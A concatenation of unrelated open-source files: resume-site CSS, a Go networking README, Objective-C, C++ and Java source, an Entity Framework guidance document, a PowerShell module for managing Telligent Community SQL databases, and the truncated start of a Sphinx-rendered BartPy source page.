#ecf0f1; } .pagination .active a, .pagination .active a:hover, .pagination .active a:focus, .pagination .active span, .pagination .active span:hover, .pagination .active span:focus { background-color: #019875; border-color: #019875; } .pagination .disabled a, .pagination .disabled a:hover, .pagination .disabled a:focus, .pagination .disabled span, .pagination .disabled span:hover, .pagination .disabled span:focus { border-color: #ecf0f1; } .page-header { border-bottom: 1px solid #ecf0f1; } hr { border-top: 1px dotted #ecf0f1; } /*-- scaffolding ------------------------------------------------------------*/ .whitesmoke { background-color: whitesmoke; } .alizarin { color: #e74c3c; } .pumpkin { color: #d35400; } .cursive { font-family: "Rochester", cursive; font-style: normal; } .teaser { padding-top: 3em; margin-bottom: 0px; } .teaser h3 { margin: 0; line-height: 1.9em; } /*-- buttons ------------------------------------------------------------*/ .btn-outline { color: #019875; background-color: transparent; border-color: #019875; } .btn-outline:hover, .btn-outline:focus, .btn-outline:active, .btn-outline.active { color: whitesmoke; background-color: #019875; border-color: #019875; } .btn-brand { color: white; background-color: #019875; border-color: #049372; } .btn-brand:hover, .btn-brand:focus, .btn-brand:active { color: white; background-color: #2c3e50; border-color: #2c3e50; } .btn-link-brand { color: #019875; background: transparent; } .btn-link-brand:hover, .btn-link-brand:focus, .btn-link-brand:active { color: #049372; } /*-- about elements ------------------------------------------------------------*/ .carousel-indicators { bottom: -40px; } .carousel-indicators li { border-color: #049372; } .carousel-indicators li.active { background-color: #019875; } /*-- intro elements ------------------------------------------------------------*/ .intro { min-height: 100%; background-image: url("../img/personal/hashem_zahran-header_intro.jpg"); background-size: 100%; background-repeat: no-repeat; background-position: top right; } /*-- contact elements ------------------------------------------------------------*/ .form-group { margin-bottom: 0px; } .form-group .help-block { display: block; min-height: 1.5em; margin: 0px !important; font-size: 1em !important; color: #e74c3c; } .form-group .help-block ul { margin-bottom: 0px; list-style: none; } /*-- blog elements ------------------------------------------------------------*/ article h2 a:hover, article h3 a:hover { color: #049372; text-decoration: none; } article img { width: 100%; padding: 4px; -webkit-border-radius: 5px; -moz-border-radius: 5px; -ms-border-radius: 5px; border-radius: 5px; border: 1px solid #ecf0f1; } article pre { background-color: whitesmoke; border-color: #ecf0f1; } .pager li a:hover, .pager li a:focus, .pager li span:hover, .pager li span:focus { background-color: #049372; color: whitesmoke; border-color: #019875; } .post-banner { margin-bottom: 1em; } /*-- project & portfolio elements ------------------------------------------------------------*/ #portfolio-grid a:hover { text-decoration: none; } #portfolio-grid .mix { display: none; text-align: center; margin-bottom: 20px; } #portfolio-grid .mix img { padding: 0; border: 0; -webkit-box-shadow: 5px 5px 0px #ecf0f1; -moz-box-shadow: 5px 5px 0px #ecf0f1; box-shadow: 5px 5px 0px #ecf0f1; } #portfolio-grid .mix img:hover { opacity: 0.9; } #portfolio-grid .mix h4 { margin-top: 20px; margin-bottom: 0px; } #portfolio-grid .mix p { margin-bottom: 1.5em; } .project { padding-bottom: 48px; } .project h3 { border-top: 1px dotted #ecf0f1; border-bottom: 1px dotted #ecf0f1; padding-top: 20px; padding-bottom: 20px; margin-bottom: 20px; text-align: center; } .project hr { border-style: dotted; } .project img { display: block; height: auto; width: 100%; max-width: 100%; padding: 5px; -webkit-box-shadow: 0px 0px 3px rgba(0, 0, 0, 0.1); -moz-box-shadow: 0px 0px 3px rgba(0, 0, 0, 0.1); box-shadow: 0px 0px 3px rgba(0, 0, 0, 0.1); -webkit-border-radius: 6px; -moz-border-radius: 6px; -ms-border-radius: 6px; border-radius: 6px; } /*-- error pages ------------------------------------------------------------*/ .errorpage { height: 100%; width: 100%; margin-bottom: 0px; background-image: url("../img/personal/hashem_zahran-error.jpg"); background-position: top right; background-repeat: no-repeat; background-size: 100%; } .errorpage .container { padding-top: 100px; } /*-- resume elements ------------------------------------------------------------*/ body { padding-top: 0; font-size: 16px; } main p, footer p { margin: 0; line-height: 3em; } footer { padding: 0; } footer a { color: whitesmoke; } footer a:hover { color: white; text-decoration: none; } .whitesmoke { text-shadow: 0 0; } aside, section { box-shadow: 0 0; padding-bottom: 20px; } .header p { font-size: 2.2em; font-weight: 300; } .teaser p { font-size: 2.1em; font-weight: 300; } .jumbotron { margin-bottom: 0; } .greenhaze { background-color: #019875; color: whitesmoke; } .greenhaze h1 { color: white; } aside address { margin: 0; } .list-group { font-size: 15px; } .list-group .list-group-item { background: #ecf0f1; -webkit-border-radius: 0px; -moz-border-radius: 0px; -ms-border-radius: 0px; border-radius: 0px; border: 0; } .list-group .list-group-item:nth-child(even) { background: whitesmoke; } .skills { padding-left: 20px; } .skills p { margin-bottom: 0px; } .social a { color: #019875; } .social a:hover.facebook { color: #3b5998; } .social a:hover.twitter { color: #00aced; } .social a:hover.linkedin { color: #007bb6; } .social a:hover.instagram { color: #517fa4; } .social a:hover.github { color: #4183C4; } .social a:hover.behance { color: #1769FF; } .progress { background-color: whitesmoke; margin-bottom: 10px; } .progress .progress-bar-brand { background-color: #019875; } /*-- syntax highlighting ------------------------------------------------------------*/ .highlight { background: #fff; } .highlight .c { color: #998; font-style: italic; } .highlight .err { color: #a61717; background-color: #e3d2d2; } .highlight .k { font-weight: bold; } .highlight .o { font-weight: bold; } .highlight .cm { color: #998; font-style: italic; } .highlight .cp { color: #999; font-weight: bold; } .highlight .c1 { color: #998; font-style: italic; } .highlight .cs { color: #999; font-weight: bold; font-style: italic; } .highlight .gd { color: #000; background-color: #fdd; } .highlight .gd .x { color: #000; background-color: #faa; } .highlight .ge { font-style: italic; } .highlight .gr { color: #a00; } .highlight .gh { color: #999; } .highlight .gi { color: #000; background-color: #dfd; } .highlight .gi .x { color: #000; background-color: #afa; } .highlight .go { color: #888; } .highlight .gp { color: #555; } .highlight .gs { font-weight: bold; } .highlight .gu { color: #aaa; } .highlight .gt { color: #a00; } .highlight .kc { font-weight: bold; } .highlight .kd { font-weight: bold; } .highlight .kp { font-weight: bold; } .highlight .kr { font-weight: bold; } .highlight .kt { color: #458; font-weight: bold; } .highlight .m { color: #099; } .highlight .s { color: #d14; } .highlight .na { color: #008080; } .highlight .nb { color: #0086B3; } .highlight .nc { color: #458; font-weight: bold; } .highlight .no { color: #008080; } .highlight .ni { color: #800080; } .highlight .ne { color: #900; font-weight: bold; } .highlight .nf { color: #900; font-weight: bold; } .highlight .nn { color: #555; } .highlight .nt { color: #000080; } .highlight .nv { color: #008080; } .highlight .ow { font-weight: bold; } .highlight .w { color: #bbb; } .highlight .mf { color: #099; } .highlight .mh { color: #099; } .highlight .mi { color: #099; } .highlight .mo { color: #099; } .highlight .sb { color: #d14; } .highlight .sc { color: #d14; } .highlight .sd { color: #d14; } .highlight .s2 { color: #d14; } .highlight .se { color: #d14; } .highlight .sh { color: #d14; } .highlight .si { color: #d14; } .highlight .sx { color: #d14; } .highlight .sr { color: #009926; } .highlight .s1 { color: #d14; } .highlight .ss { color: #990073; } .highlight .bp { color: #999; } .highlight .vc { color: #008080; } .highlight .vg { color: #008080; } .highlight .vi { color: #008080; } .highlight .il { color: #099; }
hezahran/hezahran.github.io
assets/css/resume.css
CSS
mit
10,914
Network module for Go (UDP broadcast only) ========================================== See [`main.go`](main.go) for usage example. The code is runnable with just `go run main.go` Features -------- Channel-in/channel-out pairs of (almost) any custom or built-in datatype can be supplied to a pair of transmitter/receiver functions. Data sent to the transmitter function is automatically serialized and broadcasted on the specified port. Any messages received on the receiver's port are deserialized (as long as they match any of the receiver's supplied channel datatypes) and sent on the corresponding channel. See [bcast.Transmitter and bcast.Receiver](network/bcast/bcast.go). Peers on the local network can be detected by supplying your own ID to a transmitter and receiving peer updates (new, current and lost peers) from the receiver. See [peers.Transmitter and peers.Receiver](network/peers/peers.go). Finding your own local IP address can be done with the [LocalIP](network/localip/localip.go) convenience function, but only when you are connected to the internet. *Note: This network module does not work on Windows: Creating proper broadcast sockets on Windows is just not implemented yet in the Go libraries. See issues listed in [the comments here](network/conn/bcast_conn.go) for details.*
Adriabs/heisSquad
Network-go/README.md
Markdown
mit
1,310
// // ISNetworkingResponse.h // InventorySystemForiPhone // // Created by yangboshan on 16/4/28. // Copyright © 2016年 yangboshan. All rights reserved. // #import <Foundation/Foundation.h> #import "ISNetworkingConfiguration.h" @interface ISNetworkingResponse : NSObject @property (nonatomic, assign, readonly) ISURLResponseStatus status; @property (nonatomic, copy, readonly) NSString *contentString; @property (nonatomic, readonly) id content; @property (nonatomic, assign, readonly) NSInteger requestId; @property (nonatomic, copy, readonly) NSURLRequest *request; @property (nonatomic, copy, readonly) NSData *responseData; @property (nonatomic, copy) NSDictionary *requestParams; @property (nonatomic, assign, readonly) BOOL isCache; /** * * * @param responseString * @param requestId * @param request * @param responseData * @param status * * @return */ - (instancetype)initWithResponseString:(NSString *)responseString requestId:(NSNumber *)requestId request:(NSURLRequest *)request responseData:(NSData *)responseData status:(ISURLResponseStatus)status; /** * * * @param responseString * @param requestId * @param request * @param responseData * @param error * * @return */ - (instancetype)initWithResponseString:(NSString *)responseString requestId:(NSNumber *)requestId request:(NSURLRequest *)request responseData:(NSData *)responseData error:(NSError *)error; /** * 使用initWithData的response,它的isCache是YES,上面两个函数生成的response的isCache是NO * * @param data * * @return */ - (instancetype)initWithData:(NSData *)data; @end
yangboshan/InventorySystemForiPhone
InventorySystemForiPhone/Networking/ISNetworkingResponse.h
C
mit
1,617
// This file auto generated by plugin for ida pro. Generated code only for x64. Please, dont change manually #pragma once #include <common/common.h> START_ATF_NAMESPACE typedef int (WINAPIV *PSYM_ENUMERATESYMBOLS_CALLBACK)(_SYMBOL_INFO *, unsigned int, void *); END_ATF_NAMESPACE
goodwinxp/Yorozuya
library/ATF/PSYM_ENUMERATESYMBOLS_CALLBACK.hpp
C++
mit
287
/* * Copyright (C) 2013 Joseph Mansfield * * Permission is hereby granted, free of charge, to any person obtaining a * copy of this software and associated documentation files (the * "Software"), to deal in the Software without restriction, including * without limitation the rights to use, copy, modify, merge, publish, * distribute, sublicense, and/or sell copies of the Software, and to * permit persons to whom the Software is furnished to do so, subject to * the following conditions: * * The above copyright notice and this permission notice shall be included * in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. * IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY * CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, * TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE * SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ package uk.co.sftrabbit.stackanswers.fragment; import android.app.Fragment; import android.os.Bundle; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import uk.co.sftrabbit.stackanswers.R; public class AuthInfoFragment extends Fragment { public AuthInfoFragment() { // Do nothing } @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { return inflater.inflate(R.layout.authentication_info, container, false); } }
sftrabbit/StackAnswers
src/uk/co/sftrabbit/stackanswers/fragment/AuthInfoFragment.java
Java
mit
1,678
# Entity Framwork Guidelines Entity Framework (EF) is the recommended ORM to use these days. There are other options, but most documentation (read: stackoverflow posts) use EF. In EF, you make C# objects to represent your table, use special attributes or naming conventions to tell the EF database generator what tables to make. This is called the "code-first" method. EF has migrations built in, and detects changes to your C# objects usign reflection to generate up/down migrations. ## Connection management The EF main object is the `DbContext`, which has a `DbSet<T>` for each of your model classes. This is the main handle on the database, and everything comes from here. It's doing some result caching, but as with any ORM it's stupid easy to fetch more than you want. Your code changes objects in this context, then at some point you must call `DbContext.SaveChanges` to commit the work to the database. It's kinda like a transaction. Some common errors when you `SaveChanges`: * EF model validation errors * DB constraint violations The `DbContext` is not thread-safe, but should be re-used to take advantage of its result caching. Use Ninject web extensions to create one of these per HTTP request. Ninject can thread these around for you, but sometimes for one-off things or long-lived objects it might make more sense to just instantiate the dbcontext directly. ## Connection strings EF will look in the config file for a connection string named after your context. Use this along with the web publish options in visual studio to re-write config files at publish time to use different databases. This was you can always say `new MyContext()` and have it work, and not need to thread the single dbcontext instance across the universe. ## Model classes * put code-first database models in their own assembly. To generate/run migrations, you just need a compiled assembly and a connection string. If you change the model, you're gonna break some code. If your models and code are in the same assembly, you won't be able to generate a migration until you've fixed or commented out everything. * EF can handle inheritence, so make a `TableBase` with `Id` and `DateEntered` and inherit other classes from there * When making relationships in the model classes, make a `public int FooId {get;set;}` and a `public virtual Foo {get;}`. `FooId` will be the column with the foriegn key, and `Foo` will lazy-load the related object. You can do `public virtual Foo {get;set;}` and achieve a similar database, but some parts of the relation are much easier to deal with if you have direct access to the id - notably dropdowns in editors. * on model classes, adding a `public virtual ICollection<T> Models {get;set;}` will create lazy-loaded accessor for the other side of DB relationships. Initialize these in constructors to avoid errors when working with newly created objects, or implement a lazy initialzed collection, which is some annoying boilerplate * if there's going to be a lot of objects in a virtual collection, establish the relationship on the child by setting the foreign key property and add it to the dbcontext directly. For example: // SELECTs all the votes for the election into the collection, // then queues the INSERT election.Votes.Add(new Vote(){For="Bob"}); // queues the INSERT dbcontext.Votes.Add(new Vote(){For="Bob", ElectionId=election.Id}); ## Migrations * use the `Seed` method to setup things like type tables, admin users, and roles ## Querying * don't use `Contains` in EF5 LINQ queires, that prevents LINQ from caching query plans. See http://msdn.microsoft.com/en-us/data/hh949853.aspx * EF LINQ has a lot of weird constraints, but if you follow them then you'll only select the data you need from DB. Expect to get runtime errors like "we don't know how to do X from a LINQ query" and need to re-write the query. Some common ones: * use parameter-less constructors with the object initializer syntax * don't try to call static methods * can compose a query from multiple lambda expressions, but you probably don't want to try to pass those between methods. The type signature is unholy for the lambda: query.Where(f => f.Name == "bar") * don't pay too much attention to the crazy SQL it generates; it's usually fast enough ##### scratch allow `new DbContext()`, or require it be passed in via a method/constructor argument? `new` is ok when: * no model objects coming in or out of the function - things get hairy if you mix objects from different contexts * we might be a long-lived object that survives multiple HTTP requests, and therefore can't pull the one off the request context * the data we're dealing with probably isn't going to be cached in the per-request context * you're ok with hitting a real db to test this function * we're _always_ setting the connection string via the default name convention with app.config * we're _never_ going to do anything funky with the context that would require ninject * we're _never_ doing things with transactions
AccelerationNet/adwcodebase.net
doc/EF.md
Markdown
mit
5,177
Set-StrictMode -Version 2 function Test-SqlServer { <# .SYNOPSIS Tests if a SQL Server exists and can be connected to. Optonally checks for a specific database or table. .PARAMETER Server The SQL Server to test .PARAMETER Database The database to test exists on the SQL Server .PARAMETER Table The Table to test exists in the database being connected #> [CmdletBinding()] param( [parameter(Mandatory=$true)] [ValidateNotNullOrEmpty()] [string]$Server, [parameter(Mandatory=$false)] [ValidateNotNullOrEmpty()] [string]$Database, [parameter(Mandatory=$false)] [ValidateNotNullOrEmpty()] [string]$Table ) if ($Database) { $Database = Encode-SqlName $Database } $parts = $Server.Split('\'); $hostName = Encode-SqlName $parts[0]; $instance = if ($parts.Count -eq 1) {'DEFAULT'} else { Encode-SqlName $parts[1] } #Test-Path will only fail after a timeout. Reduce the timeout for the local scope to Set-Variable -Scope Local -Name SqlServerConnectionTimeout 5 $path = "SQLSERVER:\Sql\$hostName\$instance" if (!(Test-Path $path -EA SilentlyContinue)) { throw "Unable to connect to SQL Instance '$Server'" return } elseif ($Database) { $path = Join-Path $path "Databases\$Database" if (!(Test-Path $path -EA SilentlyContinue)) { throw "Database '$Database' does not exist on server '$Server'" return } elseif($Table) { $parts = $Table.Split('.'); if ($parts.Count -eq 1) { $Table = "dbo.$Table" } $path = Join-Path $path "Tables\$Table" if (!(Test-Path $path -EA SilentlyContinue)) { throw "Table '$Table' does not exist in database '$Database' does not exist on server '$Server'" return } } } $true } function New-TelligentDatabase { <# .SYNOPSIS Creates a new database for Telligent Community. .PARAMETER Server The SQL server to install the community to .PARAMETER Database The name of the database to install the community to .PARAMETER Package The installation package to create the community database from .PARAMETER WebDomain The domain the community is being hosted at .PARAMETER AdminPassword The password to create the admin user with. #> [CmdletBinding()] param( [parameter(Mandatory=$true)] [ValidateNotNullOrEmpty()] [ValidateScript({ Test-SqlServer $_ })] [alias('ServerInstance')] [alias('DataSource')] [alias('dbServer')] [string]$Server, [parameter(Mandatory=$true)] [ValidateNotNullOrEmpty()] [alias('dbName')] [alias('InitialCatalog')] [string]$Database, [parameter(Mandatory=$true)] [ValidateNotNullOrEmpty()] [ValidateScript({Test-Zip $_ })] [string]$Package, [parameter(Mandatory=$true)] [ValidateNotNullOrEmpty()] [string]$WebDomain, [parameter(Mandatory=$true)] [ValidateNotNullOrEmpty()] [string]$AdminPassword, [parameter(Mandatory=$true)] [switch]$Legacy ) $connectionInfo = @{ ServerInstance = $Server Database = $database } Write-Progress "Database: $Database" 'Checking if database exists' if(!(Test-SqlServer -Server $Server -Database $Database -EA SilentlyContinue)) { Write-Progress "Database: $Database" 'Creating database' New-Database @connectionInfo } else { Write-Warning "Database $Database already exists." } Write-Progress "Database: $Database" 'Checking if schema exists' if(!(Test-SqlServer -Server $Server -Database $Database -Table 'cs_SchemaVersion' -ErrorAction SilentlyContinue)) { Write-Progress "Database: $database" 'Creating Schema' $tempDir = Join-Path ([System.IO.Path]::GetFullPath($env:TEMP)) ([guid]::NewGuid()) Expand-Zip -Path $package -Destination $tempDir -ZipDirectory SqlScripts $sqlScript = @('Install.sql', 'cs_CreateFullDatabase.sql') | ForEach-Object { Join-Path $tempDir $_ }| Where-Object { Test-Path $_} | Select-Object -First 1 Write-ProgressFromVerbose "Database: $database" 'Creating Schema' { Invoke-Sqlcmd @connectionInfo -InputFile $sqlScript -QueryTimeout 6000 -DisableVariables } Remove-Item $tempDir -Recurse -Force | out-null if($Legacy) { $createCommunityQuery = @" EXECUTE [dbo].[cs_system_CreateCommunity] @SiteUrl = N'http://${WebDomain}/' , @ApplicationName = N'$Name' , @AdminEmail = N'notset@${WebDomain}' , @AdminUserName = N'admin' , @AdminPassword = N'$adminPassword' , @PasswordFormat = 0 , @CreateSamples = 0 "@ } else { $createCommunityQuery = @" EXECUTE [dbo].[cs_system_CreateCommunity] @ApplicationName = N'$Name' , @AdminEmail = N'notset@${WebDomain}' , @AdminUserName = N'admin' , @AdminPassword = N'$adminPassword' , @PasswordFormat = 0 , @CreateSamples = 0 "@ } Write-ProgressFromVerbose "Database: $database" 'Creating Community' { Invoke-Sqlcmd @connectionInfo -query $createCommunityQuery -DisableVariables } } } function Update-TelligentDatabase { <# .SYNOPSIS Updates an existing Telligent Community database to upgrade it to the version in the package .PARAMETER Server The SQL server to install the community to .PARAMETER Database The name of the database to install the community to .PARAMETER Package The installation package to create the community database from #> [CmdletBinding()] param( [parameter(Mandatory=$true)] [ValidateNotNullOrEmpty()] [ValidateScript({ Test-SqlServer $_ })] [alias('ServerInstance')] [alias('DataSource')] [alias('dbServer')] [string]$Server, [parameter(Mandatory=$true)] [ValidateNotNullOrEmpty()] [alias('dbName')] [alias('InitialCatalog')] [string]$Database, [parameter(Mandatory=$true)] [ValidateNotNullOrEmpty()] [ValidateScript({Test-Zip $_ })] [string]$Package ) $connectionInfo = @{ Server = $Server Database = $Database } Write-Progress "Database: $Database" 'Checking if database can be upgraded' if(!(Test-SqlServer @connectionInfo -Table dbo.cs_schemaversion -EA SilentlyContinue)) { throw "Database '$Database' on Server '$Server' is not a valid Telligent Community database to be upgraded" } Write-Progress "Database: $database" 'Creating Schema' $tempDir = Join-Path ([System.IO.Path]::GetFullPath($env:TEMP)) ([guid]::NewGuid()) Expand-Zip -Path $package -Destination $tempDir -ZipDirectory SqlScripts $sqlScript = @('Upgrade.sql', 'cs_UpdateSchemaAndProcedures.sql') | ForEach-Object { Join-Path $tempDir $_ }| Where-Object { Test-Path $_} | Select-Object -First 1 Write-ProgressFromVerbose "Database: $Database" 'Upgrading Schema' { Invoke-Sqlcmd @connectionInfo -InputFile $sqlScript -QueryTimeout 6000 -DisableVariables } Remove-Item $tempDir -Recurse -Force | out-null } function Grant-TelligentDatabaseAccess { <# .SYNOPSIS Grants a user access to a Telligent Community database. If the user or login doesn't exist, in SQL server, they are created before being granted access to the database. .PARAMETER CommunityPath The path to the Telligent Community you're granting database access for .PARAMETER Username The name of the user to grant access to. If no password is specified, the user is assumed to be a Windows login. .PARAMETER Password The password for the SQL user .EXAMPLE Grant-TelligentDatabaseAccess (local)\SqlExpress SampleCommunity 'NT AUTHORITY\NETWORK SERVICE' Description ----------- This command grant access to the SampleCommunity database on the SqlExpress instance of the local SQL server for the Network Service Windows account .EXAMPLE Grant-TelligentDatabaseAccess ServerName SampleCommunity CommunityUser -password SqlPa$$w0rd Description ----------- This command grant access to the SampleCommunity database on the default instance of the ServerName SQL server for the CommunityUser SQL account. If this login does not exist, it gets created using the password SqlPa$$w0rd #> [CmdletBinding()] param( [Parameter(Mandatory=$true)] [ValidateNotNullOrEmpty()] [ValidateScript({ Test-TelligentPath $_ })] [string]$CommunityPath, [parameter(Mandatory=$true, Position = 2)] [ValidateNotNullOrEmpty()] [string]$Username, [string]$Password ) $info = Get-TelligentCommunity $CommunityPath #TODO: Sanatise inputs Write-Verbose "Granting database access to $Username" if ($Password) { $CreateLogin = "CREATE LOGIN [$Username] WITH PASSWORD=N'$Password', DEFAULT_DATABASE=[$($info.DatabaseName)];" } else { $CreateLogin = "CREATE LOGIN [$Username] FROM WINDOWS WITH DEFAULT_DATABASE=[$($info.DatabaseName)];" } $query = @" IF NOT EXISTS (SELECT 1 FROM master.sys.server_principals WHERE name = N'$Username') BEGIN $CreateLogin END; IF NOT EXISTS (SELECT 1 FROM sys.database_principals WHERE name = N'$Username') BEGIN CREATE USER [$Username] FOR LOGIN [$Username]; END; EXEC sp_addrolemember N'aspnet_Membership_FullAccess', N'$Username'; EXEC sp_addrolemember N'aspnet_Profile_FullAccess', N'$Username'; EXEC sp_addrolemember N'db_datareader', N'$Username'; EXEC sp_addrolemember N'db_datawriter', N'$Username'; EXEC sp_addrolemember N'db_ddladmin', N'$Username'; "@ Invoke-TelligentSqlCmd -WebsitePath $CommunityPath -Query $query } function Invoke-TelligentSqlCmd { <# .SYNOPSIS Executes a SQL Script agains the specified community's database. .PARAMETER WebsitePath The path of the Telligent Community website. If not specified, defaults to the current directory. .PARAMETER Query A bespoke query to run agains the community's database. .PARAMETER File A script in an external file run agains the community's database. .PARAMETER QueryTimeout The maximum length of time the query can run for #> param ( [Parameter(Mandatory=$true, Position=0)] [ValidateScript({ Test-TelligentPath $_ -Web })] [string]$WebsitePath, [Parameter(ParameterSetName='Query', Mandatory=$true)] [string]$Query, [Parameter(ParameterSetName='File', Mandatory=$true)] [ValidateScript({Test-Path $_ -PathType Leaf})] [string]$File, [int]$QueryTimeout ) $info = Get-TelligentCommunity $WebsitePath $sqlParams = @{ ServerInstance = $info.DatabaseServer Database = $info.DatabaseName } if ($Query) { $sqlParams.Query = $Query } else { $sqlParams.InputFile = $File } if ($QueryTimeout) { $sqlParams.QueryTimeout = $QueryTimeout } Invoke-Sqlcmd @sqlParams -DisableVariables } function New-Database { <# .SYNOPSIS Creates a new SQL Database .PARAMETER Database The name of the database to create .PARAMETER Server The server to create the database on #> [CmdletBinding()] param( [parameter(Mandatory=$true, Position=0, ValueFromPipeline=$true)] [ValidateNotNullOrEmpty()] [alias('Database')] [string]$Name, [ValidateNotNullOrEmpty()] [alias('ServerInstance')] [string]$Server = "." ) $query = "Create Database [$Name]"; Invoke-Sqlcmd -ServerInstance $Server -Query $query } function Remove-Database { <# .SYNOPSIS Drops a SQL Database .PARAMETER Database The name of the database to drop .PARAMETER Server The server to drop the database from #> [CmdletBinding()] param( [parameter(Mandatory=$true, Position=0, ValueFromPipeline=$true)] [ValidateNotNullOrEmpty()] [alias('dbName')] [string]$Database, [ValidateNotNullOrEmpty()] [alias('dbServer')] [string]$Server = "." ) $query = @" if DB_ID('$Database') is not null begin exec msdb.dbo.sp_delete_database_backuphistory @database_name = N'$Database' alter database [$Database] set single_user with rollback immediate drop database [$Database] end "@ Invoke-Sqlcmd -ServerInstance $Server -Query $query }
afscrome/TelligentInstanceManager
TelligentInstall/sql.ps1
PowerShell
mit
13,166
<!DOCTYPE html> <!--[if IE 8]><html class="no-js lt-ie9" lang="en" > <![endif]--> <!--[if gt IE 8]><!--> <html class="no-js" lang="en" > <!--<![endif]--> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>bartpy.node &mdash; BartPy 0.0.1 documentation</title> <link rel="stylesheet" href="../../_static/css/theme.css" type="text/css" /> <link rel="stylesheet" href="../../_static/pygments.css" type="text/css" /> <link rel="index" title="Index" href="../../genindex.html" /> <link rel="search" title="Search" href="../../search.html" /> <script src="../../_static/js/modernizr.min.js"></script> </head> <body class="wy-body-for-nav"> <div class="wy-grid-for-nav"> <nav data-toggle="wy-nav-shift" class="wy-nav-side"> <div class="wy-side-scroll"> <div class="wy-side-nav-search"> <a href="../../index.html" class="icon icon-home"> BartPy </a> <div class="version"> 0.0.1 </div> <div role="search"> <form id="rtd-search-form" class="wy-form" action="../../search.html" method="get"> <input type="text" name="q" placeholder="Search docs" /> <input type="hidden" name="check_keywords" value="yes" /> <input type="hidden" name="area" value="default" /> </form> </div> </div> <div class="wy-menu wy-menu-vertical" data-spy="affix" role="navigation" aria-label="main navigation"> <p class="caption"><span class="caption-text">Contents:</span></p> <ul> <li class="toctree-l1"><a class="reference internal" href="../../node.html">Node</a></li> <li class="toctree-l1"><a class="reference internal" href="../../split.html">Split</a></li> <li class="toctree-l1"><a class="reference internal" href="../../tree.html">Tree</a></li> <li class="toctree-l1"><a class="reference internal" href="../../model.html">Model</a></li> <li class="toctree-l1"><a class="reference internal" href="../../sampling.html">Samplers</a></li> </ul> </div> </div> </nav> <section data-toggle="wy-nav-shift" class="wy-nav-content-wrap"> <nav class="wy-nav-top" aria-label="top navigation"> <i data-toggle="wy-nav-top" class="fa fa-bars"></i> <a href="../../index.html">BartPy</a> </nav> <div class="wy-nav-content"> <div class="rst-content"> <div role="navigation" aria-label="breadcrumbs navigation"> <ul class="wy-breadcrumbs"> <li><a href="../../index.html">Docs</a> &raquo;</li> <li><a href="../index.html">Module code</a> &raquo;</li> <li>bartpy.node</li> <li class="wy-breadcrumbs-aside"> </li> </ul> <hr/> </div> <div role="main" class="document" itemscope="itemscope" itemtype="http://schema.org/Article"> <div itemprop="articleBody"> <h1>Source code for bartpy.node</h1><div class="highlight"><pre> <span></span><span class="kn">from</span> <span class="nn">typing</span> <span class="k">import</span> <span class="n">Union</span> <span class="kn">import</span> <span class="nn">numpy</span> <span class="k">as</span> <span class="nn">np</span> <span class="kn">from</span> <span class="nn">bartpy.data</span> <span class="k">import</span> <span class="n">Data</span> <span class="kn">from</span> <span class="nn">bartpy.split</span> <span class="k">import</span> <span class="n">Split</span><span class="p">,</span> <span class="n">SplitCondition</span> <div class="viewcode-block" id="TreeNode"><a class="viewcode-back" href="../../node.html#bartpy.node.TreeNode">[docs]</a><span class="k">class</span> <span class="nc">TreeNode</span><span class="p">:</span> <span class="sd">&quot;&quot;&quot;</span> <span class="sd"> A representation of a node in the Tree</span> <span class="sd"> Contains two main types of information:</span> <span class="sd"> - Data relevant for the node</span> <span class="sd"> - Links to children nodes</span> <span class="sd"> &quot;&quot;&quot;</span> <span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">split</span><span class="p">:</span> <span class="n">Split</span><span class="p">,</span> <span class="n">depth</span><span class="p">:</span> <span class="nb">int</span><span class="p">,</span> <span class="n">left_child</span><span class="p">:</span> <span class="s1">&#39;TreeNode&#39;</span><span class="o">=</span><span class="kc">None</span><span class="p">,</span> <span class="n">right_child</span><span class="p">:</span> <span class="s1">&#39;TreeNode&#39;</span><span class="o">=</span><span class="kc">None</span><span class="p">):</span> <span class="bp">self</span><span class="o">.</span><span class="n">depth</span> <span class="o">=</span> <span class="n">depth</span> <span class="bp">self</span><span class="o">.</span><span class="n">_split</span> <span class="o">=</span> <span class="n">split</span> <span class="bp">self</span><span class="o">.</span><span class="n">_left_child</span> <span class="o">=</span> <span class="n">left_child</span> <span class="bp">self</span><span class="o">.</span><span class="n">_right_child</span> <span class="o">=</span> <span class="n">right_child</span> <span class="k">def</span> <span class="nf">update_data</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">data</span><span class="p">:</span> <span class="n">Data</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="kc">None</span><span class="p">:</span> <span class="bp">self</span><span class="o">.</span><span class="n">_split</span><span class="o">.</span><span class="n">_data</span> <span class="o">=</span> <span class="n">data</span> <span class="nd">@property</span> <span class="k">def</span> <span class="nf">data</span><span class="p">(</span><span class="bp">self</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Data</span><span class="p">:</span> <span class="k">return</span> <span class="bp">self</span><span class="o">.</span><span class="n">split</span><span class="o">.</span><span class="n">data</span> <span class="nd">@property</span> <span class="k">def</span> <span class="nf">left_child</span><span class="p">(</span><span class="bp">self</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="s1">&#39;TreeNode&#39;</span><span class="p">:</span> <span class="k">return</span> <span class="bp">self</span><span class="o">.</span><span class="n">_left_child</span> <span class="nd">@property</span> <span class="k">def</span> <span class="nf">right_child</span><span class="p">(</span><span class="bp">self</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="s1">&#39;TreeNode&#39;</span><span class="p">:</span> <span class="k">return</span> <span class="bp">self</span><span class="o">.</span><span class="n">_right_child</span> <span class="k">def</span> <span class="nf">is_leaf_node</span><span class="p">(</span><span class="bp">self</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">bool</span><span class="p">:</span> <span 